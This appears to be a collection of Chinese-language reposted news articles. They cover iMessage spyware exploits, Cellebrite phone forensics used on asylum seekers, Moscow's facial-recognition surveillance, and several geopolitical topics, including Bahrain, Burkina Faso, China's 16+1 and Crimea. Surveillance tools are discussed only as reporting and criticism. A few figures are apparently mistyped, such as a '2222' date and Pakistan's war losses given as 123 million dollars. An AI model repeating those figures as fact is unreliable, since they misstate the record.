iMessage 漏洞是近年来被发现和利用的信息应用中的几个关键缺陷之一。2020年对 iPhone 操作系统的更新中，对 iMessage 的安全性进行了全面重建，试图使其更难成为目标。

这项名为 BlastDoor 的新安全功能将该应用程序与 iPhone 的其他部

分隔离开，使其更难访问 iMessage 的内存 —— 这是攻击者能够接管目标手机的主要途径。

iMessage 应用程序是黑客的一个主要目标，这是有原因的。每个苹果设备都默认包含该应用程序，它是预装的，而且它接受任何知道你号码的人发来的信息。没有办法卸载它，没有办法检查它，除了尽快下载每一个苹果安全更新外，用户没有任何办法抵御这种威胁。

BlastDoor 确实使利用 iMessage 的难度增加，但是，现在这个预装的应用程序仍然是黑客最喜欢的目标。9月初苹果公司披露了一个漏洞，以色列间谍软件公司 NSO Group 利用这个漏洞成功绕开了 BlastDoor 的保护措施，并通过 iMessage 的一个不同的漏洞接管了 iPhone。苹果公司拒绝发表评论。

📌 非常建议您阅读这篇文章，以尽可能保护自己《如何保护自己免受蔓延全世界的最强大的以色列间谍软件 Pegasus 的攻击》。

○

This US company sold iPhone hacking tools to UAE spies

原文

间谍庇护者 - iYouPort

协助暴政的家伙们

一家著名的间谍软件公司正在将其间谍监视设备推向新的目标：寻求政治庇护的人。他们是如何做的？

「图」

「图」

Cellebrite 是一家自称为“数字智能全球领导者”的间谍软件公司，该公司正在将其间谍监视设备推向新的目标：寻求政治庇护的人。

总部位于以色列的 Cellebrite 是日本 Sun 公司的子公司，它销售取证工具，授权政府当局绕过数字设备上的密码，以下载、分析和可视化数据。

其产品在世界各地被广泛使用：2019年的营销手册（见下文）声称他们拥有超过“在150个国家部署的 60,000 份许可证”; 2017年该公司被黑客揭示了与土耳其、俄罗斯和阿联酋等专制主义政权客户的明显沟通。

使用这种强大而侵入性的技术使得当局能够收集有关人们生活的任何私密细节，这会带来巨大的危险。这些工具通常在没有充分保护或审查的情况下被使用，并且是秘密推出的。

据报道，在巴林，**Cellebrite** 的技术"被用于"提取 **Mohammed al-Singace** 的私密谈话和数据，**Mohammed al-Singace** 是 一名在拘留期间遭受酷刑的政治活动家。

而该公司的国际营销副总裁上个月在摩洛哥向来自世界各地的政府官员发表讲话，概述了其产品用于调查寻求庇护者的数字生活的潜在用途。

根据 Cellebrite 的销售人员的说法，“77%的难民[原文如此]抵达庇护国时没有携带文件”，而43%的人在旅途中有智能手机—可以代替文

件，一个人的手机完全可以用来找出他们是谁、他们一直在做什么，他们曾经、何时、最终为什么寻求庇护。

其实这不是新鲜事，相关案例详见早期的报道《手机元数据和 Facebook 个人信息如何决定了一个人的命运？—— 逃难之旅的新坎坷》

智能手机对移民至关重要—— 不仅仅是为了保持联系，而且因为它们是计划旅程和获取信息的关键手段，包括安全路线和潜在风险的信息，如危险的人口贩运者、以及有关访问重要信息以便寻找到达安全的国家时需要的服务。

「图」

「图」

通过分析手机，Cellebrite 声称其技术可以“在人到达之前识别审查其旅途中的可疑活动”，跟踪他们的路线、运行关键字搜索、并通过他们的设备搜索图像，以识别所谓的“非法活动的痕迹”，并查看和分析其在线浏览历史记录及社交媒体活动。

通过访问设备上的 GPS 记录以及电话元数据（例如，可以是与设备连接的照片库和网络自动关联的位置信息）和基于社交媒体帖子的位置数据，来执行位置跟踪。

访问设备后，该软件还会分析存储在云上的数据—通常包括文件备份。去年，Privacy International 对 Cellebrite 的软件进行了分析，发现它"可以检索"用户认为已经删除了的数据。

当被问及如何在更昂贵的设备上绕过密码保护时，这些设备具有更安全的访问控制—— 例如 Apple 的 iOS—— -一位为 Cellebrite 工作的技术专家向 Privacy International 确认“我们掌握漏洞”。漏洞利用程序是高度珍贵的代码，用于利用设备软件中已知和未知的漏洞入侵系统。

「图」

「图」

欧洲国家越来越多地使用智能手机监控前来调查寻求庇护者。据 Wired 报道，**2017**年德国和丹麦扩大了法律，允许移民官员对人们的手机进行检查，而英国和挪威多年来一直在进行这种搜查。在德

国，"半年内就搜查了8000多部手机"。去年，奥地利"也通过了"类似的法律。

2018年5月，英国内政部的移民执法机构向间谍技术公司 **Cellebrite** "支付了"**45,000**英镑。

当摩洛哥公民询问有关其使用的法律框架时，Cellebrite 销售人员评论说，可以引入新法律或修改现有法律以要求人们移交他们的设备、否则禁止他们进入该国，但无论如何通常都有寻求庇护者的“同意”。太可笑了，对于那些逃难的人来说，丢命还是丢掉人权，这种选择居然也能称之为“同意”。

无论一个国家是否已制定法律或依赖所谓的“同意”，这种数字取证行为仍然存在很大问题。

根据国际人权法，监视是对隐私权的干涉，因此需要遵守旨在防止破坏民主和人民基本权利的任意搜查的众多原则。例如，任何监视都需要证明是必要的，并且与总体目标成比例，而不是基于种族或出生源等特征的歧视。

这意味着，如果不符合这些标准，符合采取侵入式监视措施的国家法律仍可能违反国际法。

智能手机的取证分析是高度侵入性的。正如美国具有里程碑意义的 Riley 诉加利福尼亚州的裁决中所指出的那样，一个要素是手机的特征，这些手机的数据可以追溯到几年前，并且几乎可以揭示一个人生活的方方面面。美国最高法院裁定，虽然手机上的数据不能免于搜索，但在搜查之前通常需要手令，即使与逮捕有关。

隐私国际组织在英国的工作已经证明，即使某些法规被用来进行手机数据提取，它们通常也是不合适的，可以追溯到很长时间以前，并且这些技术不会处理其带来的特定和独特的入侵。

当谈到“同意”时，这比简单地获得一个人的许可更复杂。例如，根据欧洲数据保护条例的规定，如果提出请求的实体处于对个人的权力地位，或者担心不利的后果使他们无法表达不同意见，则不能自由地给予同意并告知同意。如果一个人担心倘若自己不交出电话而被拒绝庇护并被驱逐出境，则不构成“同意”。如果当事人不太可能完全了解被提取和保留的信息的范围或类型，则很难说同意是完全知情的或毫不含糊的。

此外，从数字设备获取数据导致可靠证据的假设是有缺陷的。如果某人声称某些信息属实，并且智能手机上存在完全不同的其他信息，则表明他们在说谎。

出于所有这些原因，Privacy International 将继续监控和挑战世界各地（包括边境）越来越多地使用的监视工具。

在特殊情况下使用这种提取工具是庇护寻求者和移民瞄准监视和其他安全技术的更广泛趋势的一部分，往往有在科学上可疑的理由。在欧洲，这包括使用某些技术可以根据人们的所谓“微观姿势”以确定一个人是否在说谎。

对于营利性机构（例如监控公司）提供简单的技术解决方案来处理这一高度复杂的问题本身就很危险。

数百万人正在因战争、政治迫害和气候变化而被迫迁移，这应该是对政治和社会行动的紧急呼吁，而不是老大哥的商机。

Cellebrite 公司 2019 产品目录：点击这里下载完整版。

Surveillance Company Cellebrite Finds a New Exploit: Spying on Asylum Seekers. Millions of people being forced to migrate because of war, persecution, and climate change is a call for urgent political and social action, not a business opportunity.

原文

“北京模式” - iYouPort

地缘政治

普京曾经说，”成为 AI 领域领导者的人将成为整个世界的统治者。” 俄罗斯在此是怎么做的？为什么与北京如此相似？

「图」

「图」

这很可能是普京的主意。他曾经对AI有过明确的说法：”成为这个领域领导者的人将成为整个世界的统治者。”

莫斯科政府部长 Eduard Lysenko 告诉我，“俄罗斯传统上一直是开拓者之一”；“感谢有才华的员工队伍和悠久的数学传统。在我们看来，我们已经开发了许多突破性的解决方案，使俄罗斯能够跻身顶级 AI 国家行列。”

Lysenko 是莫斯科信息技术部的负责人，这次“独家”采访是因为他想谈谈5G以及该市的部署计划。鉴于美国提出的安全担忧，他知道我想讨论莫斯科的面部识别和莫斯科部署华为**5G**网络的决定。

具有讽刺意味的是，你很快就会发现，莫斯科的监控剧本可能是从北京拷过来的。

在去年的世界杯期间，俄罗斯部署了著名的大规模面部识别技术，来帮助警察监视此次活动的全局。“面部识别系统使得警方可以将联邦通缉名单上的12名罪犯、8名扒手、以及60名被禁止观看比赛的球迷逮捕扣留。”

Lysenko 解释说，“目前面部识别系统已经安装在**1,500**个视频流的试验模式中，占莫斯科**167,000**个监视摄像机的**1.5**%。今年，我们打算将数量增加到**105,000**，这意味着所有安装在公共区域的摄像机都可以优化系统的使用。“

莫斯科已经大量使用了其笼罩全市的监控系统，该系统现在用于调查莫斯科70％的犯罪案件。最近，视频监控还被用来寻找从国家特列季亚科夫画廊偷走 Arkhip Kunidzhi 画作的人。“

该系统每年捕获12亿小时的视频，每天发出 45,000 个交通罚款，并帮助建立了一个统一的系统，当局声称该系统将首次响应时间减少了20％。

但这不仅仅是CCTV。还记得中国PR机器、配备人工智能眼镜的警察等报道吗？嗯，莫斯科的计划是一样的。“将来，5G 将允许我们使用面部识别眼镜等新设备为警察扩展系统。我们正在与 **Ntechlab** 公司一起测试具有嵌入式面部识别功能的增强现实眼镜，该公司以创建面部识别工具 **FindFace** 而闻名。“

FindFace 是一款高度精确的面部识别引擎，在这个以其在太空中的实力而闻名的国家中脱颖而出。但 Lysenko 还谈到了国际合作，中国是一个明显的起点。

“我们的任务是使用智能视频监控系统来监控城市流程并确保公民的安全。我们的闭路电视系统使用俄罗斯公司开发的识别技术。当然，我们有兴趣与包括中国在内的外国同事交流经验，中国在部署面部识别系统方面比其他国家更先进。“

这引起了对5G的讨论。莫斯科已经开始使用5G并计划到2019年进行全面实验。“在2018年世界杯期间，”Lysenko 告诉我，“MegaFon 使用诺基亚5G设备来演示 VR 广播技术。五十人使用VR眼镜观看广播。体育场摄像机广播到5G蜂窝塔，蜂窝塔传输到连接 VR 眼镜的智能手机，每台设备使用高达 35 Mbps 的速度。不过，现在，“MegaFon 已经表示同意与华为在俄罗斯制定并实施 5G 标准。”

这使得讨论进入了美国和英国提出的问题，尤其是与华为相关的安全风险，包括有关该公司可能为北京情报收集提供便利的指控。在这个问题上，Lysenko 的回应很简短：“俄罗斯联邦有严格的信息安全法规，我们一直遵守这些法规。”华盛顿怀疑华为与北京的情报联系，也许俄罗斯和华盛顿对各自国家安全的威胁有着不同的看法。

无论如何，华为都不是全部。“还有其他公司的合作伙伴关系，”Lysenko 说，“俄罗斯电信运营商将根据其采购政策选择5G供应商用于试验区，现在正在为5G技术的实施准备技术标准。之后，这个过程将加速。我们与许多设备供应商合作，包括华为，诺基亚，爱立信，高通和**IBM**。“

那么俄罗斯自己的设备制造商呢？

“这些决定是由[网络运营商]而不是政府做出的，”但“我们希望当地的俄罗斯供应商能够参加试点项目，以展示他们的进展。”

目的是让2019年的试点参与者在世界杯[监视]试验成功的基础上再接再厉，“2020–2020年预计将实现5G的全面商用”。 2019年的参与者将瞄准莫斯科的关键地区。“这些领域分为两大类，”Lysenko 解释说，“拥挤的地方，如公园和中央街道，将举行消费者技术5G测试和示范，然后是创新中心和技术园区，技术公司将能够测试工业5G。”

而对于 Lysenko 来说，这完全是关于工业和自动化的。莫斯科的IT部门“拥有自己的人工智能团队，致力于在城市管理中实施人工智能。例如，文件分类和机器人操作员的自动化处理了对城市呼叫中心的所有请求的 40％—— 机器人与城市信息系统集成并且可以提供62个典型问题的答案，它能够识别情绪和自主学习。”

除了与通常的大学研究合作外，还“与莫斯科物理科技大学和国立科技大学’MISiS’等世界一流大学合作，”人们认识到需要与行业合作才能取得成功。“该市正在通过为技术公司的发展创建基础设施来推动创新，包括技术园区和公司财务支持系统。我们还支持像 Yandex 这样的大公司与他们交换开发新服务所需的数据。“

上个月，俄罗斯互联网巨头 Yandex 宣布与现代摩比斯“联手”自动驾驶汽车。“Yandex 的自动驾驶汽车已在莫斯科、特拉维夫和拉斯维加斯的街道上成功驾驶，”当时 Yandex 首席执行官 Arkady Volozh 解释说，“这意味着它可以扩展到任何地方。我们花了两年时间才从最初的基本测试转变为完整的公共自动驾驶服务。现在，由于我们与现代摩比斯的协议，我们将能够更快地行动。“

Lysenko 告诉我，“自2018年12月以来，所有自动驾驶汽车开发商都可以在莫斯科提交测试请求。经过实验室测试后就可以进行户外测试。到目前为止，最成功的是 Yandex，其自动驾驶汽车已经在莫斯科街头进行了测试。 Yandex 还在 Skolkovo 地区提供自动驾驶出租车服务。大约30家其他公司有可能在不久的将来开始测试，包括 KAMAZ，其自动驾驶公交车和自动驾驶卡车现在处于实验室测试阶段。“

不仅仅是小汽车。“莫斯科政府和俄罗斯开发商 Cognitive Technologies 正联合开发俄罗斯的全自动电车。电车目前正在车厂进行测试。它将很快会在一条路线上进行试运行。预计到 **2021** 年至

2222 年将实现完全的自主驾驶电车。莫斯科地铁最近宣布，自动驾驶列车可能会在大约5年内出现在环线上。目前莫斯科地铁正在分析国际经验并寻找适合莫斯科的解决方案。“

除了交通，Lysenko 想要关注的领域还有医疗保健，5G 和物联网将带来的批量变革。他解释说，“世界杯结束后不久，莫斯科的信息技术和医疗部门与电信运营商一起组织了5G医疗保健可能性的示范。华为 CPE 已经用于远程超声诊断和基因测序，测试表明，响应时间足以让健康专家进行舒适的远程工作。“

鉴于其在世界杯上的经验，莫斯科拥有一些真实的5G数据，以帮助指导部署和管理期望。“5G测试显示一个扇区的最大速度为7.5 Gbps，延迟时间为4 ms。理论上，标准情况下的5G记录可以是35 Gbps，这意味着下载高清电影只需要不到3秒。”

也就是说，在美国进行的测试表明，部分5G试验和供应商的声称给消费者设定了错误的预期。莫斯科仍有世界杯5G设备，将重复使用，“该网络目前尚未运营。但该设备也尚未拆除，并将于11月成为5G试点网络的一部分。”

莫斯科是一个人口规模与洛杉矶相似的城市，比巴黎和伦敦都要大。Lysenko 说，“我们的目标是与纽约或北京的城市管理者一样，使用技术为市民提供更好的服务，让城市以更有效的方式运作。为实现这一目标，我们与全球其他城市的代表自由交流智能城市发展的想法和经验，包括人工智能应用。我们广泛使用像 GitHub 这样的公共平台 —— 与世界各地的开发者分享我们的算法。“

他已经看到这个宏伟计划“很好地”登陆了一个城市，75%的公民使用在线公共服务，超过200万人在电子投票系统上注册，可以针对特定的城市问题进行投票。他说，“莫斯科市民普遍对新技术感兴趣，他们正在等待世界上所有用户的5G商业运营。”

然而，这些市民对全市105,000台面部识别监视摄像机的反应仍有待观察。

Russia: Moscow’s CIO Confirms 105,000 Facial Recognition Cameras And Huawei 5G For 2019.

原文

“反恐”如何变成了人权灾难？ - iYouPort

地缘政治

根据人权观察的一份报告，“安全部队在2017年和2018年进行的所谓反恐行动，导致了大量的法外杀戮，虐待嫌疑人和任意逮捕的指控”。

根据武装冲突地点和事件数据项目研究员 HéniNsaibia 的数据，自 2016 年1月以来，在西非内陆国家布基纳法索发生的 200 多起武装袭击事件中已经造成至少 263 人丧生。

「图」

「图」

这些攻击笼罩在一个巨大的谜团中—只是谁在犯下如此恶劣的罪行，为什么？

在布基纳法索发生的事似乎至少部分是反击美国反恐战术的一个例子。这是因为一个现在已解散的精英军事队伍接受了美国的训练，该队伍涉嫌参与对该国的袭击。

通过推翻总统，导致一年后解散了他的主要军事单位，革命使该国陷入了巨大的安全漏洞。作为一支由大约 1300 名士兵组成的特殊部队，“总统卫队”拥有独立的生活区、设备、训练和正规军的耀眼酬劳，但是他们保护的是执政党的利益，而不是整个国家的利益。 RSP 也特别有效—它有自己的“反恐部门”，接受了法国和美国的军事培训。

布基纳法索今天所面临的不安全感似乎足够证明，支持一个为腐败的独裁者工作的精英部队可能会导致更多的恐怖主义和不安全感。这种错误正是所谓的反恐战争的标志之一，在伊拉克、阿富汗、索马里、也门和许多其他国家以各种形式上演。例如，在喀麦隆，美国与该国北部的博科圣地组织作战的精英部队很快被指控发生了多起侵犯人权事件。

“Security forces have conducted counterterrorism operations in 2017 and 2018 that resulted in numerous allegations of extrajudicial killings, abuse of suspects in custody, and arbitrary arrests,” according to a Human Rights Watch report. 【BLOWBACK IN AFRICA How America’s Counterterror Strategy Helped Destabilize Burkina Faso】

原文

16＋1：北京的外交主线使前苏联国家与布鲁塞尔发生冲撞 - iYouPort

地缘政治

对于中欧和东欧国家来说，加入欧盟推动了民主改革和经济发展。但是在金融和难民危机后，自由民主与社会福利之间的联系并不像以前那样明显了，反而东方开始变得“更具吸引力”。

中国正在充分利用这一点。

欧洲东部国家摆脱了苏维埃政权的束缚，自愿加入了一个新的集团，这个集团再次将欧洲分为了东西两部 – 这次是在中国的指导下进行的。“东欧2.0”的安排比旧版本要柔和得多。但它通过破坏现有的联盟，并在“中国模式”之下回归寡头趋势，对该地区的安全与繁荣构成了严重威胁。

于 2012 年 4 月正式成立的 “16 ＋ 1” 倡议将中国和16个经历过共产主义的中欧和东欧国家聚集在一起。它在西方国家很少受到关注。更令人担忧的是，其影响在该地区本身很难理解。

在北京，16 ＋ 1 直到最近才被认为是中国外交的主线。它不仅分化了欧洲，而且将来自俄罗斯前后院和欧盟俱乐部的国家聚集在一起，同时没有太多抗议。

具有讽刺意味的是，正是这种与欧盟做法不相容的情况，加剧了一些中欧精英对中国举措的兴致欧盟专注于其他问题，从移民到英国脱欧。而俄罗斯的默许是两国间通过上合组织在中亚开展的战略合作日益增加的标志。

最初，16 ＋ 1项目的模糊性可能帮助中国取得了令人惊讶的成就。该项目的早期文件充满了“双赢”，“友谊”和“和谐”等崇高术语，并强调与“中欧全面战略伙伴关系”相一致。至少一些中欧和东欧领导人可能不完全明白他们正在加入的是什么。

最近，16 ＋ 1倡议实际上已成为实施习近平的一带一路倡议的东欧平

台，这是中国外交政策的首要重点。也许由于这种冗余和布鲁塞尔不安的情绪，中国最近决定踩刹车：未来的16 ＋ 1峰会将每两年举行一次，而不是现在的年度形式。

中国在布局方面仍然占有压倒性优势。16 ＋ 1 计划不允许其成员在与中国打交道时发挥区域集团的作用，而是将16种双边关系组织为可令北京方便的布局。

中国的足迹很明显：经济政治化双边合作伙伴关系使北京更容易绕过现有的联盟并重新组建新的以中国为中心的体系。欧盟范围内的16 ＋ 1组合削减欧盟 ，并且为北京提供了一个替代整个欧盟的方案。

16 ＋ 1国家不是集体讨价还价，而是最终成为了受中国青睐的“通往欧洲的门户”。

这简直是一场献媚竞赛，捷克总统 Miloš Zeman 公开表示他的国家是“中国在欧洲不沉的航空母舰”；而塞尔维亚政治家则以一种能够将“16 ＋ 1”转变为“15 ＋ 1 ＋ 1”的方式，认为自己是中国班上最优秀的学生。

这种竞争部分是16 ＋ 1结构的一个功能：秘书处和行政人员在中国外交部驻扎，将欧洲国家削减为北京制定政策的被动接受国。

该设置还使一些国家象征性地与现有联盟保持距离。在习近平2016年访问布拉格之前的一次采访中，泽曼宣布捷克共和国（一个北约和欧盟成员国）之前一直对布鲁塞尔和华盛顿“过于顺从”，并把与中国的新伙伴关系作为其国正在变得再次完全独立的标志。

前塞尔维亚总统 Tomislav Nikolić 去年宣布塞尔维亚是一个“自由的国家”，因此不害怕与中国建立伙伴关系。

16 ＋ 1背后的想法是欧洲东部国家利用中国的经济潜力，主要是通过吸引投资。但与其他参与者的投资和中国在西欧的投资相比，中国在该地区的投资总体水平仍然很低。

鉴于真实信息量很少，因此很难衡量真正的政治影响。例如，在捷克共和国，最初的公关闪电战已经让位于闭门做法，记者们被排除在大多数双边事件之外，顶级访问保持私密。

但是在一个方面，中国的足迹很明显：经济的政治化。

中国外交正在追求“全球化2.0” – 实质上是在扩散一些国家资本主义

的“中国模式”，它将选择性的市场机制与党国的全面控制相结合。

中国的“一带一路”倡议和16 ＋ 1都是旨在塑造参与国家经济的政治项目以及推动政治局势的政治项目。在大多数情况下，这些框架创造了根据北京政治交易“模式”运作的飞地。这意味着中国的政治家和商人可以与当地的同行签订协议，允许他们避开通常需要遵循的透明度和问责机制。

“中国模式”正在与欧盟相冲突。后者基于旨在确保公平和公开竞争的法规，中国模式摒弃了监管，有利于特别谈判 – 尤其是在闭门的双边政治层面。

其中一个例子就是升级的贝尔格莱德 – 布达佩斯铁路线，这是连接希腊港口比雷埃夫斯的土地 – 海上快线的一部分（2016年由中国中远太平洋公司购买）并与匈牙利相连。在最终协议于2016年底签署后不久，欧盟委员会就匈牙利涉嫌违反公开招标的规定展开调查。

无视欧盟规则已经成为 ViktorOrbán 国家体育项目的一部分，但匈牙利总理不是唯一准备参与中国规则的人。在捷克共和国，中国要求在杜科瓦尼核电厂未经公开招标新建工程。

具有讽刺意味的是，正是这种与欧盟做法不相容的情况，加剧了一些中欧精英对中国举措的兴致。欧盟的资金拥有强大的透明度和问责制要求，而中国的资金“没有附加条件”。这不仅减少了文书工作，而且还意味着来自北京的资金可以更容易地进入赞助网络。

20 世纪 90 年代以来，当私有化在 slapdash 监管框架下进行时，优势属于少数几个（通常是旧政权的内部人），该地区的许多经济精英通过密切交易和政治关系而非企业家获得了对关键部门的控制权。这些新的寡头往往会发现，与拥有相似的谱系和商业惯例的中国（和俄罗斯）的同行们做生意要比适应严格的欧盟监管制度更容易。

欧洲的边缘国家已经陷入了冲突性选择：在公开招标要求和通过政治协议授予的合同之间、经济竞争与经济政治利益勾结之间、民主资本主义和由寡头垄断网络主导的国家资本主义之间。

尽管一大堆关于双赢的言论，欧洲的16 ＋ 1成员将不得不作出选择。

原文

8年了，美国的盟友巴林政权依旧在追踪阿拉伯之春的抗议者 - iYouPort

地缘政治

尽管有如此多的愤怒和不公，巴林王室依然受到美国海军的支持 - 并且只遭到奥巴马政府的轻微批评，而特朗普政府则完全没有批评 - 该政权已经能够轻松抵抗民主活动家，而且相对不受惩罚……

「图」

「图」

八年前的2月，被称为“阿拉伯之春”的民主抗议浪潮传到了巴林，在那里，抵抗海湾君主制的异议短暂兴旺，并随后在邻国沙特阿拉伯军队的支持下，遭到血腥镇压的扼杀。

数十名抗议者主要来自该国的什叶派穆斯林，他们在光天化日之下被安全部队枪杀，游行者双手在当空挥动着，高喊着：“和平！和平！“成千上万的政治犯被拘留并遭受折磨—其中包括国家足球队的明星—而该国领先的人权活动家因发布推特而多次被判入狱。

尽管有如此多的愤怒和不公，巴林王室依然受到美国海军的支持—并且只遭到奥巴马政府的轻微批评，而特朗普政府则完全没有批评—该政权已经能够轻松抵抗民主活动家，而且相对不受惩罚。

在国际足联大选之前公开批评谢赫·萨勒曼的人中有一名前巴林国家足球队球员哈基姆·阿拉比（Hakeem al-Araibi），他因发表政治观点而受到威胁和折磨，并在被指控参与袭击警察局后被迫逃离到澳大利亚。Araibi 称这种指控是荒谬的，因为他当时一直在足球场上，参加全国电视直播的比赛，但他仍被缺席判决，并判处10年徒刑。

此案证实了他对巴林政府持续迫害的担忧是合理的，他被澳大利亚当局批准避难，在那里他与墨尔本的一个半专业团队签约并开始重建他的生活。

在2016年被要求评论谢赫·萨勒曼领导国际足联的候选资格时，阿拉比告诉纽约时报，王室完全无视其姐姐提出的介入或停止酷刑的请求。“他们蒙住我的眼睛，”他回忆道。“他们让我非常紧张，一个人开始拼命抽打我的腿，说：’你不会再踢足球了。我们将摧毁你的未来！”“

11月，当 Araibi与妻子一起从澳大利亚飞往泰国度蜜月时，遭遇了巴林继续追捕持不同政见者的顽强态度，尽管澳大利亚当局向他保证，他作为难民的身份会受到保护，但泰国警方在他抵达时根据巴林政府要求发布的国际刑警组织红色通缉令拘留了他。从那以后，他一直在曼谷监狱里，抵抗被巴林政府引渡。

泰国司法部长无视澳大利亚的请求—国际足联秘书长以及联合国和国际奥委会高级官员的请求—停止引渡程序并将此事提交法院审理。

事实上，只有在他购买了机票后巴林才向泰国当局发送了对 Araibi 的逮捕令，这表明巴林一直密切关注着他的行动。在接受“卫报”采访时阿拉比说，他确信他的被捕只不过是因为他批评了谢赫·萨勒曼，后者目前正在竞选连任亚洲足联主席。“巴林希望我回去并惩罚我，因为我在2016年与媒体谈论了可怕的人权问题、以及 Sheikh Salman 如何歧视什叶派穆斯林的事实，我很害怕被送回巴林，因为他们绝对会逮捕我，他们会再次折磨我，可能会杀了我。”

Araibi 的律师 Nadthasiri Bergman 承诺对引渡决定提出上诉，并敦促支持者提高公众对他的困境的认识。

Eight Years Later, America’s Ally Bahrain Is Still Hunting Down Arab Spring Protesters. “I am so scared of being sent back to Bahrain, so scared because 100 percent they will arrest me, they will torture me again, possibly they will kill me.”

原文

BRI 正在延伸到一个要塞位置 - iYouPort

地缘政治

中国和俄罗斯的关系进一步出现了变化，传统的经济竞争已不在，现在它变成了什么样？；谷歌再次帮助中国政府及其奥威尔式的信息流控制。 他们是怎么做的？

「图」

「图」

上周的新闻中我们介绍了为什么克里米亚是一个要塞位置，详见《纠结的谈判》。现在，俄罗斯国家消息人士和官员已经证实，北京和克里米亚半岛之间就主要的一带一路倡议（BRI）项目进行了“更密切的合作”，引用了中国外交官的话称，这代表了莫斯科优先事项的持续重大转变，这些优先事项历来使俄罗斯陷入与中国的经济竞争中。

任何涉及克里米亚未来的 BRI 项目都将进一步巩固和完全将半岛纳入俄罗斯。

星期一在俄罗斯驻北京大使馆举行的仪式上，半岛“中国同胞协会”会长 Ge Zhili 发表了以下正式声明：“我们的组织正在加强与克里米亚社会的合作关系，交流和友好交往“。事件并非偶然，此时是”克里米亚与俄罗斯统一五周年“。

在谈到增加文化和经济联系时，Ge 继续解释目标是“帮助人们了解克里米亚是什么，开始与克里米亚合作，与半岛建立可靠和友好的关系，并在 BRI 下实施联合私人项目和道路倡议“—— 中国超雄心勃勃的发展和投资项目可能涉及五大洲150多个国家。

中国的声明说，据信当莫斯科不再追求美国制裁后的欧洲一体化，以及INF的解体和北约的扩张时，中国强调与其建立和深化“可靠的伙伴关系”。

这也是传闻北京和莫斯科正在考虑建立一个潜在的更大的地缘政治联

盟的关键时刻，就像华盛顿继续通过关税来打击中国出口一样。俄罗斯领导人被描述为更加热情地寻求更密切的合作，而北京已表示了耐心。

但是，更大的 BRI 合作，尤其是对地缘政治敏感的克里米亚地区的合作，将是朝这个方向迈出的重要一步。

「图」

「图」

虽然很少有关于新的潜在特定联合 BRI 项目的宣传，除了正在进行的项目，如 连接中国和俄罗斯在黑龙江省通江的第一条跨河铁路桥梁，以下是 RT 提出的内容：

此外，还计划恢复克里米亚与中国南部海南省之间以及雅尔塔，三亚，塞瓦斯托波尔，大连，苏达克和黑河等城市之间的合作。

去年，俄罗斯总统普京宣称自己是中国“一带一路”倡议的坚定支持者，他告诉广播公司 CGTN，“习主席的”一带一路“倡议融合了经济和人性的概念。该倡议的实质是发展经济和基础设施。“

关于与北京的关系升温，普京当时强调，BRI 把这一潜力视为“进一步取消对经济发展和合作的限制的重要一步”。

克里米亚本身未来的任何重大合作肯定会引起基辅和乌克兰西方盟友的关注，尤其是去年11月在刻赤海峡发生的危险事件以及随后的军事升级威胁之后。

这不是第一次中国和俄罗斯关系出现变化的征兆，下图是 IYP 在去年报道的联合军演：

「图」

「图」

Russian state sources and officials have confirmed closer cooperation between Beijing and the Crimean peninsula on major Belt and Road Initiative (BRI) projects. Any major future cooperation in Crimea itself will be sure to raise eyebrows in Kiev and among Ukraine’s western allies, especially after last November’s dangerous incident in the Kerch Strait and subsequent threats of

military escalation.

原文

Twitter 外交的嘴炮之掐 - iYouPort

地缘政治

特朗普发布关于巴基斯坦在所谓的“反恐战争”中缺乏努力的推文，引发了新巴基斯坦总理 Iran Khan 的推特风暴。

「图」

「图」

特朗普告诉福克斯新闻，巴基斯坦应该透露，奥萨马·本拉登“居住在巴基斯坦，我认为他们觉得这是一座漂亮的豪宅，紧挨着军事学院。巴基斯坦的每个人都知道他在那。而且我们每年给巴基斯坦13亿美元……我尽力了，而他们没有为我们做任何事，他们就不会为我们做一件特么的事。“

然后 Khan 发布了三条推文。第一条：“需要直接记录特朗普对巴基斯坦的长篇大论：1、巴基斯坦没有参与 9/11，但巴基斯坦决定参加美国的反恐战争。巴基斯坦在这场战争中伤亡 75,000 人，经济损失超过 1.23 亿美元。美国的“援助”相比下微不足道。

第二条推文：“3、我们的部落地区遭到严重破坏，数百万人被迫离开家园。战争严重影响了普通巴基斯坦人的生活； 4、巴基斯坦继续提供免费的地面和空中通信线路（GLOC / ALOC）。特朗普先生还能说出另一个做出如此牺牲的盟友吗？“

第三条推文：“不要让巴基斯坦成为他们失败的替罪羊，美国应该认真评估为什么，尽管有14万北约军队加上 25 万阿富汗军队参战，据说在阿富汗的战争中花掉了1万亿美元！然而，今天的塔利班比以前更强大了。 ”

然后特朗普又发出来一系列推文以“回击”。

第一条推文：“当然，在我们遭遇暴力之前很久就应该抓住奥萨马·本·拉登。在世贸中心遭到袭击之前，我在书中指出了这点。克林顿总统出人意料地错过了这个机会。我们向巴基斯坦支付了数十亿美元，可

他们从来没有告诉我们本拉登住在那里。傻瓜！..“

第二条推文：“……我们不再向巴基斯坦支付数十亿美元，因为他们会拿走我们的钱而不为我们做任何事，本拉登就是一个典型的例子，阿富汗是另一个。他们只是这类众多国家中的一个，美国没有从这些国家得到任何回报。那就结束吧！“

Khan 然后回应说：“特朗普的错误主张加重了美国在所谓的反恐战争中的生命损失和不稳定、以及经济成本方面遭受伤害的侮辱。他需要了解历史事实。巴基斯坦已经遭受了足够多的美国战争。现在我们将为我们的人民和我们的利益做最好的事。“

这场嘴炮大战引起了专家们的惊愕。中东专家指出，鉴于巴基斯坦在阿富汗的作用以及与伊朗和中国的关系，美国的自我孤立和对抗巴基斯坦的举动将面临危险。

巴基斯坦人口超过 2.02 亿，是世界上仅次于中国、印度、美国、印度尼西亚和巴西的第六大国家，也是发展核武器的九个国家之一，更是涉及邻国的区域安全问题的关键角色之一。

毫无疑问随着美国的再次拒绝，Imran Khan 领导的巴基斯坦必然会转向其邻国寻求帮助，那就是伊朗和中国。巴基斯坦是中国 600 亿美元的 #BRI 项目的参与者之一，该国年轻人已经拒绝学习英文转而去学习中国普通话以便找到更好的工作和学业（在这里看到详细介绍《巴基斯坦年轻人为什么要积极学习中文？》）

由于许多与阿富汗、伊朗和中国有关的地区问题都在巴基斯坦具有重要的安全和经济影响，因此美国的明智选择应该是参与而不是与巴基斯坦新政府保持距离：专家指出。

U.S. Relations with Pakistan Hit Rock Bottom With Trump’s Tweets. Not surprisingly, with the US government turning away again, the new government of Pakistan led by Imran Khan has turned to its neighbors for assistance—Iran and China.

原文

一个新的匿名组织 ’Intrusion Truth’ 揭露中国情报部门黑客的真实姓名 - iYouPort

地缘政治

